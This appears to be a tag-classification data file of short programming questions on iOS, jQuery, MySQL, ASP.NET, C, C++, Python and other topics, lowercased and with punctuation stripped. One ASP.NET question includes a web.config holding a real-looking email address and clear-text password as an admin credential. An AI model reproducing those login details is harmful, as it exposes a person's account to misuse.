reading decimal numbers from uitextfield in ios  i have a textfield that should accept decimal numbers; it should accept numbers with a comma (6 7) or a point (6.7) irrespective of the user s locale.    i use the following code:   <pre><code>    nsnumberformatter* formatter = [[nsnumberformatter alloc] init];     nsnumber* number = [formatter numberfromstring:txtscore.text];     nsdecimalnumber* decimalnumber = [[nsdecimalnumber alloc]  initwithdouble:[number doublevalue]]; </code></pre>   the problem is that if i use a comma in the textfield  for some locales i always get back 0. the same is true for the point  some locales can read it  but others always return 0.     so  how can i get this textfield to work with both commas and points  irrespective of the user s locale,ios
jquery u.s map multiple selection from label  i am using jquery u.s maps     i have labels on it in which i have to select the multiple states from single label    i have done multiple selection on states click giving them id . i gave ids to label but both are different to how can i link labels to multiple states    this is the array where labels are generating     var nestates = [ new    nh    ma    ri    ct    nj    de    md    dc ];    and added the id to these     // create the hit areas   <pre><code>    this.labelhitareas[state] = r.rect(x  y  shapewidth  shapeheight  shaperadius).attr({        fill :  #ff0000          stroke-width : 0          opacity  : 0.0          cursor :  pointer      });     this.labelhitareas[state].node.datastate = state;     this.labelshapes[state].node.setattribute( id  state);       //  console.log(this.labelhitareas[state]); </code></pre>   but this is selecting only one state per label.,jquery
how to find all primary keys which don t have an auto-increment  how to find all primary keys in all tables in a database  which don t have an auto-increment identifier to it. we have a large amount of tables and would like to identify all tables which don t have the auto increment identifier on the primary key.,mysql
need help in understanding objective c code  i need some help in understanding the following code:   <ol> <li> what is the meaning of  @  in @ reload     button = maketestbutton(&amp;button_rect  @ reload   content); [button settarget:web_view]; [button setaction:@selector(reload:)]; </li> <li> where i can find the definition of  @selector(reload:)   </li> </ol>,objective-c
formatting double precision values in c#  say i have a <code>double</code> variable initialized as    <pre><code>double dvalue  = 5.156365 </code></pre>   i would like to show this in a textbox as 5.16 i.e only two decimal places.    how should i format      is <code>textbox.text = dvalue.tostring( f2   culture.....)</code> correct  when i tried it did give me the correct result.  however  if <code>dvalue = 5</code> then i would like only 5 to be shown and not 5.00.    how could i achieve this in c#,c#
the text box in asp.net is not updating it s text   m working on an asp.net assignment  where i have to display profile information to the user and also have to edit it if the user wants to edit it.     now  my problem is:    i m able to show the profile info to the user but while editing it (i  m using same text box for editing profile information)  m getting the previous value of the text in the same text box i.e the one which is coming from my database. the text in the text box is not getting replaced even if i have replaced it with the new text.    in below code the <code>txteditname</code> is getting its value from database.and i want to edit on click event of <code>btnsavechanges</code> but when i debug the code i came to know that the value persists which is coming from database.     my test box is :   <pre><code>&lt;asp:textbox id= txteditname  runat= server  width= 200px  height= 25px  enabled= false &gt;&lt;/asp:textbox&gt; </code></pre>   and my aspx.cs code is :   <pre><code>balsuperadminprofile objsuperadminprofile = new balsuperadminprofile(); datatable dt; int sa_id = 1;  void showsuperadmininfo()      {           try            {                dt = objsuperadminprofile.getsuperadminprofiledetails(sa_id);                 txteditname.text = dt.rows[0][2].tostring();            }          catch (exception ex)                 {                     lblresult.text =  could not load database. please try again latter. ;                 }             }              protected void page_load(object sender  eventargs e)             {                 showsuperadmininfo();             }              protected void btnsavechanges_click(object sender  eventargs e)             {                 string name=txteditname.text;                 try                 {     dt = objsuperadminprofile.editsuperadminprofile(sa_id  name );                     lblresult.text = dt.rows[0][0].tostring();                     showsuperadmininfo();                 }                 catch (exception ex)                 {                     lblresult.text = ex.message;                 }              }              protected void imagebutton1_click(object sender  imageclickeventargs e)             {                 txteditname.enabled = true;                    }         } </code></pre>   what could be the problem     please help.,asp.net
speed variation of a parachutist  in my exercice  i need to calculate the speed s variation of a parachutist using some mathematical equation given in exercise. i enter the mass = 80kg and the height = 39000 m    i have to display this message on the sreen : system.out.printf( %.0f  %.4f  %.4f  %.5f\n                       t  height  speed  accel);    normally  i should have this result :   <pre><code>&gt; 133  1991.2751  284.9225  -79.22827 &gt; 134  1742.1436  216.8788  -57.96464 &gt; 135  1551.4499  167.0971  -42.40784 &gt; 136  1403.5103  130.6760  -31.02624 </code></pre>   but unfortunately  this is what i have on my screen :   <pre><code>&lt; 133  1991.2751  284.9224  -79.22826 &lt; 134  1742.1436  216.8788  -57.96463 &lt; 135  1551.4499  167.0971  -42.40783 &lt; 136  1403.5103  130.6759  -31.02623 </code></pre>   this is my code here :   <pre><code>    final double g = 9.8100;     float surface = 2;     int tf = 171;     double v0 = 00.0;     double t0 = 00.0;      for (double t = 0; t &lt; tf; t++)      {         double height= h0;         double speed= v0;         double accel = 9.81;          double s = surface / mass;         double q = math.exp(-s * (t - t0));          speed= (g / s) * (1 - q) + (v0 * q);         accel = g - (s * vitesse);         height= h0 - ((g / s) * (t - t0)) - ((v0 - (g / s)) / s) * (1 - q);            if ((height&lt;= 2500) &amp;&amp; (height&gt; 2300))         {             surface = 25;             system.out.println( ## the parachutist open his parachute );             t0 = 132;             v0 = 377.927;             h0 = 2320.2818f;         }          // display on the screen         system.out.printf( %.0f  %.4f  %.4f  %.5f\n                   t  height  speed  accel);     } </code></pre>   can you help me please      edit : the equations : <a href= http://www.casimages.com/img.php i=131027115003602313.png  rel= nofollow >http://www.casimages.com/img.php i=131027115003602313.png</a>,java
jquery :contains as a selector  i am trying to use :contains as a selector:   <pre><code>    var test = jquery( :contains(  +content_uq_name+  ) ).css();     console.log(test); </code></pre>   i am getting a jquery error:   <pre><code>typeerror: a is undefined   ...echild(b)):c(a))} camelcase:function(a){return a.replace(p  ms- ).replace(q r)} ... </code></pre>   what am i doing wrong  thanks,jquery
detect the state of silent mode in ios  i have an app that uses the audioservicesplaysystemsound(1104) method to play a sound on certain tap events. it responds to the state of silent mode vs non-silent mode  and mutes itself accordingly.    however  audioservicesplaysystemsound(1150) will play regardless of what state the vibrate switch is in.    how can i check the state of vibrate mode so i can silence the sounds when the user expects it     thanks,ios
is there any way to make a form for admin to change his username and password stored in credential tag   i have used the credential tag in web.config file to authenticate my admin. now i want to know is there any way to make a page with a form for admin to change his username and password  this is my code in web.config:   <pre><code>&lt;system.web&gt;     &lt;compilation debug= true  targetframework= 4.0  /&gt;     &lt;sessionstate cookieless= autodetect  mode= inproc   timeout= 114400 &gt;     &lt;/sessionstate&gt;     &lt;authentication mode= forms &gt;         &lt;forms timeout= 1440  loginurl= ~/entrance_before_paying.aspx  defaulturl= admin/default.aspx  name= .aspxformsdemo   cookieless= autodetect  protection= all &gt;             &lt;credentials passwordformat= clear &gt;                 &lt;user name= elmiragolshanff@yahoo.com   password= elmira  /&gt;             &lt;/credentials&gt;         &lt;/forms&gt;     &lt;/authentication&gt; &lt;/system.web&gt; </code></pre>   i used this code in my sign in page to check if the user is admin or not:   <pre><code>private void enter() {     if (formsauthentication.authenticate(textbox1.text.trim()  textbox2.text.trim()))      {         formsauthentication.redirectfromloginpage( admin user name in credential tag   true);     }     else     {        // enter as a user}     } } </code></pre>,asp.net
getting around sub-query limitation in mysql  i have this query to re-order items in a mysql table   <pre><code>update content.items set list_order=list_order+1 where list_order= (select list_order-1 from content.items where id= 41e31kufg ); </code></pre>   but i get this error:   <pre><code>error code: 1093. you can t specify target table  items  for update in from clause </code></pre>   heres an example of a dataset before re-ordering   <pre><code>rowid    list_order 41e31kufg 1 62g88nfjs 2 99h84mlkd 3 92r63mkvf 4 </code></pre>   after reordering:   <pre><code>rowid    list_order 99h84mlkd 1 92r63mkvf 2 41e31kufg 3 62g88nfjs 4 </code></pre>   what is the solution for this,mysql
fifo queue linked list implementation  here is code in which i am trying to implement a queue using linked list:   <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; using namespace std; template &lt;class item&gt; class queue{  public:     struct  node{       item item;node *next;       node (item x){         item=x; next=0;       }     };     typedef node* link;     link  head  tail;  public:     queue(int){  head=0;}     int empty() const {   return head==0; }     void put(item x){          node* t=tail;         tail=new node(x);         if (head==0) head=tail;         else   t-&gt;next=tail;     }     item get(){            item v=head-&gt;item;link t=head-&gt;next;         delete head; head=tail return v;     }      };  int main(){     return 0; } </code></pre>   but i have problems with pointers. for example  when i write <code>item v = head-&gt;</code> it should   show me option to choose item but it does not show. also in other place of code after -> this sign code does not give me possibility to choose item or next. please help.,c++
not found  error when linking a section of a page within the same page  i am trying to link a word on my page that jumps to a different part farther down on the same page  however  when i add the class to the div and the href to the linking word  it opens a new page that says  not found     what am i doing wrong     html:   <pre><code>&lt;div class= paragraph &gt;if you are installing panels on both walls and  ceiling  it is recommended to do the ceiling first. the ceiling can also be  installed at a later date. &lt;ul&gt;&lt;li&gt;see warnings on radiant tube heater installation - &lt;em&gt;section  5.3&lt;/em&gt;&lt;/li&gt; &lt;li&gt;see special instructions&amp;nbsp;for installation in cold temperatures -  &lt;em&gt;section 5.1&lt;/em&gt;&lt;/li&gt; &lt;li&gt;see recommended fasteners - &lt;em&gt;&lt;u&gt;&lt;a  href= recommended_fasteners &gt;section 4.1&lt;/a&gt;&lt;/em&gt;&lt;/u&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;  &lt;div class= recommended_fasteners  style= text-align:right; &gt; &lt;strong&gt;section 4.1&lt;/strong&gt;&lt;/div&gt; </code></pre>   thanks in advance!,html
dynamically generated buttons passing variable value in onclick event to deeper nested functions  i m working on creating a save dialog for a browser based game and i m having a bit of an issue. i ve got saving and listing the saves down  but i m having an issue with loading  overwriting  and deleting. i ve got the save entries created dynamically  along with the buttons for manipulating each save. clicking any of the buttons will open a confirmation dialog  upon which clicking yes will execute the actual action. my issue lies with getting each operation to actually function on the relevant save. the code i have so far looks something like this:   <pre><code>var savenum  buttontype; function loadsavelist(){     saves = json.parse(localstorage.getitem( game_saves ));     for(var a=0; a &lt; saves.length; a++){         var entry = document.createelement( div );         var buttons = document.createelement( div );         var overwriteb = document.createelement( input );         var deleteb = document.createelement( input );         var loadb = document.createelement( input );         overwriteb.type =  button ;         deleteb.type =  button ;         loadb.type =  button ;         overwriteb.onclick = function(){buttontype = 0; savenum = function(){return a;}; savealert();};         deleteb.onclick = function(){buttontype = 1; savenum = function(){return a;}; savealert();};         loadb.onclick = function(){buttontype = 2; savenum = function(){return a;}; savealert();};         buttons.appendchild(overwriteb);         buttons.appendchild(deleteb);         buttons.appendchild(loadb);         entry.appendchild(buttons);         document.getelementbyid( saveentries ).appendchild(entry);}} function savealert(){     switch(buttontype){         case 0:             document.getelementbyid( alertyes ).onclick = overwritebutton;             document.getelementbyid( alertno ).onclick = function(){/*styling to close alert*/}; break;         case 1:             document.getelementbyid( alertyes ).onclick = deletebutton;             document.getelementbyid( alertno ).onclick = function(){/*styling to close alert*/}; break;         case 2:             document.getelementbyid( alertyes ).onclick = loadbutton;             document.getelementbyid( alertno ).onclick = function(){/*styling to close alert*/}; break;}} function overwritebutton(){     unloadsavelist();     saves.splice(savenum  1  currentsave);     localstorage.setitem( game_saves   json.stringify(saves));     loadsavelist();} function deletebutton(){     unloadsavelist();     saves.splice(savenum  1);     localstorage.setitem( game_saves   json.stringify(saves));     loadsavelist();} function loadbutton(){     var tempsave = saves.slice(savenum  savenum+1);     currentsaveload(tempsave);     unloadsavelist();     saves = [];} </code></pre>   my intention was to use <code>savenum</code> to store the value of <code>a</code> so the bottom 3 functions know which save to operate on. i figured a closure was the way to go to get the value all the way through  but i m honestly not quite sure how to implement it in a way that would work. i m looking primarily for a solution in vanilla js  but failing that  an alternate way of approaching the problem would be welcome.,javascript
classes python and developing stack  i have created my own lifo container class stack that supports the methods of push  len  pop  and a check on isempty.  all methods appear to be working in my example calls  except for when i call a created instance of this class(in my example s) i receive a memory location for the created object when i want to see the actual contents of that object.   <pre><code>class stack:     x = []      def __init__(self  x=none):         if x == none:             self.x = []         else:             self.x = x      def isempty(self):         return len(self.x) == 0     def push(self p):         self.x.append(p)     def pop(self):         return self.x.pop()     def __len__(self):         return(len(self.x))       s = stack()         s.push( plate 1 )     s.push( plate 2 )     s.push( plate 3 )     print(s)     print(s.isempty())     print(len(s))     print(s.pop())     print(s.pop())     print(s.pop())     print(s.isempty()) </code></pre>   i get the result of running this  line <code>print(s)</code> to be <code>&lt;__main__.stack object at 0x00000000032cd748&gt;t</code> when i would expect and am looking for <code>[ plate 1   plate 2   plate3 ]</code>,python
how to get data from property list into an nsarray programmatically   i have generated a property list which save some hospital names. now i want to get the names into an array from that plist. please help me. thanx in advance.,iphone
how to get android application name displayed in advanced task killer instead of package name   mine displays as the xxx.xxx.com package name.  where do i set a property/attribute/whatever so that it will display the actual app name like the rest of the apps in the list,android
how to make objects of an enum in java  i am trying to define three different objects of enum class  item  with weights between 0 and 20 and description of each item     here is my code :   <pre><code>public enum item {     // three items with descriptions     gold (2   gold )  silver(12   silver )  bronze(5   bronze );      private int weight;     private string description;      public int getweight()     {        return weight;     }      public string tostring()     {         return description;     }  } </code></pre>   i keep getting this error    <blockquote>    constructor item in enum item cannot be applied to given types: required: no arguments  found:int.java.lang.string  reason: actual and formal argument lists differ in length   </blockquote>   also    <blockquote>    the operator that you use here cannot be used for the type of value that you are using it for. you either using the wrong type here  or the wrong operator  </blockquote>,java
non invocable member  talesofmyroth()  can t be used like a method <pre><code>namespace tales_of_myroth {     public class talesofmyroth     {         static void main(string[] args)         {             talesofmyroth();  //here is my error         }          private jogador _jogador;          public talesofmyroth()         {             _jogador = new jogador();              _jogador.vidaatual = 50;             _jogador.vidamaxima = 50;             _jogador.ouro = 0;              console.writeline( vida:   + _jogador.vidaatual);          }     } } </code></pre>   i was suppose to make a simple text game for my college that i ve just started...could someone help me with this  (somethings at the code were writen in portuguese),c#
error c2514 class has no constructors. but it does   i m getting:   <blockquote>    error  1   error c2514:  employeelistnode  : class has no constructors  </blockquote>   in listofemployee.cpp    but in employeelistnode.h i have:   <pre><code>class employeelistnode {     friend class listofemployee; public:     employeelistnode(string name  double salary); //a constructor no  }; </code></pre>   i don t understand why it won t recognise that as a constructor. sorry if this is a stupid question  but i couldn t find an answer through searching.    edit: the section of the listofemployee that s giving the errors:   <pre><code>void listofemployee::insert(string namein  double salaryin){ employeelistnode *n1 = new employeelistnode(namein  salaryin); employeelistnode* tn; if (head){     head = n1; }else{     for (tn = head; tn-&gt;next; tn = tn-&gt;next); } </code></pre>   } edit 2: and the listofemployee.h in case it makes a difference:   <pre><code>#pragma once #include&lt;string&gt; using namespace std; class employeelistnode; class listofemployee { public:     listofemployee();     void insert(string name  double salary);     void display();     void deletemostrecent();     double getsalary(string name);     ~listofemployee(); private:     employeelistnode *head; }; </code></pre>,c++
need to know fieldwise count of records available in a table  can u help    i need to know fieldwise count of records available in a table.    ex: tablename = contactinfo fields in table: <code>name  dsgn  city</code>    need the result as    <pre><code>name = 1000  dsgn = 990  city = 850 </code></pre>   like that    anoop,sql
mysql routine error  i ve a mysql routine which do not work :   <pre><code>delimiter #; create procedure ancien () begin     declare postname char;     declare id int;     declare count int;     declare counter int default 0;        select count(*) into @count from network_2_posts;      loop:  posts       set counter = counter + 1;      if counter &lt;= count then select post_name  id into @postname  @id from network_2_posts;         update network_2_postmeta set meta_value = @postname where meta_key =  wpcf-identifier  and post_id = @id;     end if;      if counter &gt; count     then         leave posts;         end if;      end loop posts;  end# </code></pre>   mysql show an error at this line :    <pre><code> if counter &lt;= count then select post_name  id into @postname  @id from network_2_posts; </code></pre>   after then keyword.    any idea      thx a lot     frédéric,mysql
toggle table using ng-show expr leads to digest iterations limit breach  jsfiddle for my code is <a href= http://jsfiddle.net/hb7lu/24317/  rel= nofollow >here</a>.    there is a <code>notes</code> table with a toggle button to show or hide the table at the end. background color for each <code>note</code> is randomly selected from a constant list of colors.    when i click on the toggle button  instead of the table getting hidden  it gets re-rendered with new colors. does ng-show create a new <code>scope</code> on every click  and also  i am getting this error    <pre><code>uncaught error: [$rootscope:infdig] 10 $digest() iterations reached. aborting! watchers fired in the last 5 iterations: .................................................................. </code></pre>,angularjs
custom validation errors on nested models <pre><code>class parent   has_one :child   accepts_nested_attributes_for :child end class child   belongs_to :parent end </code></pre>   using a nested object form  i need to add some extra validations to the child model. these are not always run on child  so i cannot put them in a <code>validate</code> method in child. it seems sensible to do the checking in a validate method in parent  but i m having trouble adding error messages correctly.    this does work:   <pre><code>class parent ... def validate   errors[ : child.fieldname  ] =  don t be blank!  end </code></pre>   but we lose nice things like i18n and css highlighting on the error field.    this doesn t work:   <pre><code>def validate   errors.add : child.fieldname   :blank end </code></pre>,ruby-on-rails
can someone help fix my while loop  it keeps running forever  i am trying to run the code below  but i m entering a loop i can t get out.     the error message supposed to appear then the user is suppose to be able to enter the correct range value.    can someone fix this endless loop so that it only appears when the use enters a value out of range please.   <pre><code>#include&lt;stdio.h&gt;  int main(void) {      int students  counter  total;     int marks[40];     int stdno[40];     total = 0;        printf(        ---=== ipc mark analyser v2.0 ===---\n );     printf( please enter the number of students(between 3 and 40): );     scanf( %d   &amp;students);      while (students &lt; 3 || students &gt;40) {         printf( invalid number  enter a number between 3 and 40 inclusive: );         scanf( %d   &amp;students);     }      printf( row   std no  mrk\n );     printf( --- --------- ---\n );      for (counter = 0; counter &lt; students; counter++) {         printf(     _________ ___\r );         printf( %03d    counter + 1);         scanf( %09d %3d   &amp;stdno[counter]  &amp;marks[counter]);          while (marks &lt; 0 || marks &gt;100 || stdno &lt; 10000000 || stdno &gt; 999999999) {             printf( error: enter values between 0 and 100 inclusive.\n );             scanf( %09d %3d   &amp;stdno[counter]  &amp;marks[counter]);         }          return 0;     } } </code></pre>,c
process dialog not showing immediately in list view  hi i am new in android and i am trying to put process dialog on click event of list view  no doubt its working but i found that process dialog shows very late  i need that  it should be show immediately after i click   my peace of code is here. please give me appropriate solution for this.  thanks !   <pre><code>    lv1.setonitemclicklistener(new onitemclicklistener() {         public void onitemclick(adapterview&lt; &gt; a  view v                  final int position  long id) {             pd = progressdialog.show(v.getrootview().getcontext()                           please wait....   true  true);             mythreadnew mythread = new mythreadnew(position);         //  mythread.setpriority(thread.min_priority);             mythread.start();         }     }); </code></pre>,android
automatic dynamic_cast for arguments in std::function  we have polymorphic classes a and b like:   <pre><code>struct a {     virtual ~a() {} }; struct b final : public a {     void f() { std::cout &lt;&lt;  f  &lt;&lt; std::endl; } }; </code></pre>   i want to assign a variable with <code>std::function&lt;void(a*)&gt;</code> from the lambda function with the type of <code>void(b*)</code> without explicitly applying <code>dynamic_cast</code> for the arguments as   <pre><code>std::function&lt;void(a*)&gt; funca = [](a* a) {     [](b* b) { b-&gt;f(); }(dynamic_cast&lt;b*&gt;(a)); }; b b; funca(&amp;b); </code></pre>   are there any ways to automatically achieve this without wrapping the internal function with <code>[](a* a){}</code>,c++
prevent access to iphone calendar  i can add events to iphone calendar but i have created a settings screen just wanted to know how can i programmatically prevent access and grant access dependant on the value of the switch toggle.    if toggle is on then grant access and if off then prevent     any ideas     thanks,ios
what could this error be  [redacted_domain_name] <blockquote>    exception java.lang.runtimeexception: unable to start activity   componentinfo{app.app/app.app.activity.notificacaoactivity}:   java.lang.nullpointerexception: attempt to read from field    java.lang.string app.app_[redacted_domain_name]  on a null   object reference        caused by java.lang.nullpointerexception: attempt to read from field    java.lang.string app.app_[redacted_domain_name]  on a null   object reference   app.app.persistence.wapiservice.getnotificacoes   (wapiservice.java:230)   app.app.activity.notificacaoactivity.onstart   (notificacaoactivity.java:65)  </blockquote>   i could not understand what this error is  below  it follows the classes that the error quotes: notificacao:   <pre><code>@override     public void onstart() {         super.onstart();         showprogress(true   wait   false);          wapiservice.getinstance().getnotificacoes(new futurecallback&lt;list&lt;notificacao&gt;&gt;() {             @override             public void onsuccess(list&lt;notificacao&gt; result) {                 //listview.setadapter(new notificacaoadapter(getcontext()  result));                 if(!result.isempty()) {                     list&lt;notificacao&gt; lidas = new arraylist&lt;notificacao&gt;();                     list&lt;notificacao&gt; naolidas = new arraylist&lt;notificacao&gt;();                      for(notificacao n : result){                         if((n.status == 10 &amp;&amp; n.tipo != 5 &amp;&amp; n.tipo != 10 &amp;&amp; n.tipo != 15 &amp;&amp; n.tipo != 20) ){//teste com 20 para dividir                             naolidas.add(n);                         } else {                             lidas.add(n);                         }                     }                      if (getfragmentrefreshlistenerlidas() != null) {                         getfragmentrefreshlistenerlidas().onrefresh(new notificacaoadapter(getcontext()  lidas));                     }                      if (getfragmentrefreshlistenernaolidas() != null) {                         getfragmentrefreshlistenernaolidas().onrefresh(new notificacaoadapter(getcontext()  naolidas));                     }                 }                 showprogress(false      true);              }              @override             public void onfailure(throwable t) {                 showprogress(false      true);                 toast( erro ao buscar notificações );                 log.e(tag   erro ao buscar notificações:   + t.getmessage());             }         });     } </code></pre>   wapi: this class goes to the server and i look for notifications:    public void getnotificacoes(final futurecallback> callback) {     jsonobject usuarioid = new jsonobject();     usuarioid.addproperty( id_usuario   ((applicationutils) context.getapplicationcontext()).getusuario().id);   <pre><code>wapiconn.invokeapi( notification    get   usuarioid  jsonobject.class  new futurecallback&lt;jsonobject&gt;() {     @override     public void onsuccess(jsonobject result) {         try {             list&lt;notificacao&gt; notificacoes = jsonentityparser.parseresults(result.getasjsonarray( notifications )                      wapiconn.getmobileserviceclient().getgsonbuilder().create()  notificacao.class);             //chamando callback da tela de login / registro             callback.onsuccess(notificacoes);         } catch (exception e) {             callback.onfailure(e);         }     }      @override     public void onfailure(throwable t) {         callback.onfailure(t);     } }); </code></pre>   },android
sorting model objects in the view - call model method in view or implement sort in controller   by default when i call this:   <pre><code>&lt;table&gt;   &lt;% @question.answers.each do |answer| %&gt;   &lt;tr&gt; </code></pre>   the answers for a question are displayed in the order they were created.    what s the appropriate way to sort them according to their votes      i m not sure whether i need to call a method on the answers in the view or implement a sort function in the controller or the model.,ruby-on-rails
how to define struct inside of class   i have trouble compiling the code at the bottom. i do this in <code>c</code> all the time but can t do it in <code>c++</code> when it s inside a class. could someone enlighten me what is wrong here    <pre><code>class parser {    struct table {      string first;      string second;      string third;   } c_table [] = {     0   a   b       0   c   d       0   e   f     }; };  int main() {    return 0; }  test.cpp:22:3: error: too many initializers for ‘parser::table [0]’ test.cpp:22:3: error: could not convert ‘(const char*) 0 ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) a ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) b ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) 0 ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) c ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) d ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) 0 ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) e ’ from ‘const char*’ to ‘parser::table’ test.cpp:22:3: error: could not convert ‘(const char*) f ’ from ‘const char*’ to ‘parser::table’ </code></pre>,c++
web app running on android: how to prevent text selection   i have a mobile app (html  javascript) that is supposed to run on iphone and android smartphones. to make it look more like a real app and prevent accidential text selection  i m cathing the <code>touchstart</code> end <code>touchend</code> events and handle them. this prevents text selection just fine. on android however  it seems to be completely ignored; text selection is possible. is there a defined way in android to prevent the user from selecting text from a web app     rené,android
reserve file descriptors to guard against fd exhaustion  i have a python application with multiple threads  with threads 2 to n potentially opening an arbitrary number of files. i want to make sure that when thread 1 tries to open a file  it will definitely not fail because of file descriptor exhaustion. in short  i want to reserve file descriptors without opening them. i can only control the code being run from thread 1  which is spawned at a time when there s still plenty of file descriptors left.    (as an example  i imagine this could be done by  reserving  fds by opening /dev/null a couple of times from thread 1  and closing it when thread 1 needs to open a file  thus making sure that there s at least one unused fd  but this ends up introducing a race condition.)    is there a way to make sure thread 1 will have fds available when it needs them without modifying what threads 2-n do,python
how to get statistics for grouped data  i have a table of customer visits to a business with a column for date  and columns for customer information.     <pre><code>+------+---------------------+------+ | id   | checkin             | name | ... +------+---------------------+------+ |    1 | 2010-01-01 00:12:00 | joe  |  |    2 | 2010-01-01 00:18:00 | john | |    3 | 2010-01-01 00:22:00 | jane | ... </code></pre>   i want to get statistics by day of the week i.e. average  minimum  maximum visits listed by day of week.  something like:   <pre><code>+---------+---------+---------+ | day     | average | minimum | ... +---------+---------+---------+ | monday  | 45      | 30      |  | tuesday | 60      | 35      | ... </code></pre>   i believe i need to use a subquery or join in order to do this  but can t figure out how.    this query will total the visits for each day   <pre><code>select dayname(checkin) as day  count(*) as total from customer_log group by date(checkin) </code></pre>   and then on the above result i need to run something like   <pre><code>select sum(total)  max(total)  min(total) from {above table} group by day. </code></pre>   thanks!,mysql
wait for a promise inside a directive before rendering  i have a directive like this:   <pre><code> use strict ;  angular.module( rowe.desktop ).directive( bottombar   function ($translate  sessionservice) {   return {     templateurl:  modules/desktop/shared/directives/views/_bottombar.html       restrict:  e       replace: true      scope: {}      link: function (scope) {       var nowdate = new date();      $translate( copyright ).then((translation)=&gt;{        scope.copyright = translation;      })     }   }; }) </code></pre>   the translation service acutally returns a promise and i need to wait for that promise to get resolved before the rendering is performed. any suggestions,angularjs
ios - plist file parsing error  the application gives error as soon as i put <code>&amp;</code> in the string value of one of the elements in my plist file. any idea why    <pre><code>&lt;plist&gt;     &lt;array&gt;         &lt;string&gt;http://www.foo.com a=b&amp;c=d&lt;/string&gt;     &lt;/array&gt; &lt;/plist&gt; </code></pre>   if i remove this <code>&amp;</code> in url  everything works.,iphone
append numbers in c  how can i read six digits separately  and then append them     for example:    i want to enter the following digits: 2 3 6   7 5    and the expected output would be:  236 75 .    i have to do it with only one loop (to read the numbers)  and i have to read the numbers with the type char.    here s what i have so far:   <pre><code>#include &lt;stdio.h&gt;  int main() {     char c;     char string [6];      printf( introduce a number\n );      int i = 0;     while (i &lt;=5) {         scanf( %c   &amp;c);         string[i] = c;         i++;     }      printf( %c\n  string);  } </code></pre>,c
list files in a directory using html  how can i list files contained in a directory using html  in other words i want to list files in a directory and show them in a browser.,html
code sign error: the identity  iphone developer  doesn t match any valid certificate/private key pair in the default keychain  how do you fix this <strong>xcode error</strong> :   <blockquote>    code sign error: the identity  iphone developer  doesn t match any   valid certificate/private key pair in the default keychain  </blockquote>,iphone
converting a column to be empty  i have a two tables in which where one table has a datecolumn and other do not have  i have to main a union to fetch entries from both table     so as of now i am successful  but the empty fields showing invalid date like 1900-01-01  i want it  should be dispayed as null  like a cast into varchar     i am trying it like this    <pre><code>select [orderid] cast(   as [cancelleddate] as char(20)) as [cancelleddate]     as [cancelledtime]  </code></pre>   the above is throwing error eventually     and doing this way will it effect performance,sql
static buffer and non initialize static buffer  hi i am having 2 questions here   <ol> <li> how do i store a hex value in a buffer  say for example 0x0a and 0x1f;   <pre><code>char buffer[2] =  0x0a 0x1f ; </code></pre>   but this is not right method  it is giving size 10 instead of 2. can any one suggest how can i proceed. </li> <li> i have seen the array like this   <pre><code>char buffer[] =   static array ; </code></pre>   in the structure also    <pre><code>struct point {    char x[];    char y[]; }; </code></pre>   what does it mean  how much size it will take for compilation </li> </ol>,c
how to make down arrow icon by pure css to use it as a background   is it possible to make a down arrow like this using pure css to use it as a background     actual size image    <img src= https://i.stack.imgur.com/rwfj0.jpg  alt= enter image description here >    enlarged images    <img src= https://i.stack.imgur.com/dpkod.jpg  alt= enter image description here >    i know it s possible to use an image and we can make this arrow with the <a href= http://css-tricks.com/examples/shapesofcss/  rel= nofollow noreferrer >border tricks</a> too   <pre><code>#triangle-down {     width: 0;     height: 0;     border-left: 50px solid transparent;     border-right: 50px solid transparent;     border-top: 100px solid red; } </code></pre>   but this we can t use as a background. is there a way to make the arrow to use as a css background.,css
opening a specific file depending on variables  okay  so for this gui i want to read a file depending on what a certain variable result is.  i ll try to explain it in more detail.    so this file takes the input from a drop down menu.  the option the user picks will decide which file is read. the file that is read is then appended into an array  which is then put into another drop down menu.    i want to know if that is possible. parts of my code is down below.    earlier drop down menu:   <pre><code>    weapon.set( sword )     choices = [ sword    bow    katana ]     self.weaponmenu = optionmenu(self weapon  *choices)     self.weaponmenu.grid(row =2  column = 2) </code></pre>   reading the file:   <pre><code>    self.moves = label(self  text =  move )     self.moves.grid(row = 9  column = 1 )     move = stringvar()      weapon = open( %d.txt  %(self.weaponmenu.get())  r ) #reads weapon file     moves = []     for line in weapon:         moves.append(line)     self.movesmenu = optionmenu(self  move  *moves)     self.movesmenu.grid(row =10  column = 1) </code></pre>   this is what i tried to do  but i was unable to get it to work.  i could do if statements instead probably  but i want to know if the method i m trying can work or if there is something else i can do to achieve the same results.    i hope you understood what i wrote and thanks in advance for the help!  hope i did everything right  i m still new to stackoverflow.    when i try to execute the file  i get the following error message:    i get the following error message:   <pre><code>    traceback (most recent call last):       file  c:\python27\mh4udamagewindow.py   line 88  in &lt;module&gt;         app = application(root)       file  c:\python27\mh4udamagewindow.py   line 10  in __init__         self.create_widget()       file  c:\python27\mh4udamagewindow.py   line 67  in create_widget         weapon = open( %d.txt  % (self.weaponmenu.get())  r ) #reads weapon file     attributeerror: optionmenu instance has no attribute  get      &gt;&gt;&gt; </code></pre>,python
how to include slide out menu on every page ios (remove back button)  i am making a ios app which has a slide out menu. i followed the following tutorial: <a href= http://www.appcoda.com/ios-programming-sidebar-navigation-menu/  rel= nofollow >http://www.appcoda.com/ios-programming-sidebar-navigation-menu/</a> without too much trouble.     however something i was left asking myself was how to include to navigation menu on every page of my application. what i mean by this is that if my menu takes me to a page  from there how would i make a link to a new page which will still have the menu. at the moment i see a back button at the top left.     most tutorials i found stop there. i have a different controller for every page in my menu. and i use reveal view controller.,ios
comparing 2 char variables <pre><code>int compare (char * s  char * pre)  {     int x = 0;     char p;     char orig;     while (pre[x] !=  \0 )     {        printf( %c   tolower(pre[x]) );       printf( %c   tolower(s[x]) );       orig = tolower(s[x]);       p = tolower(s[x]);       if (orig != p);        {           return 0;       }        x++;     }      return 1; } </code></pre>   expected return : 1    (values identical till end of loop) resulted return : 0    (values don t match),c
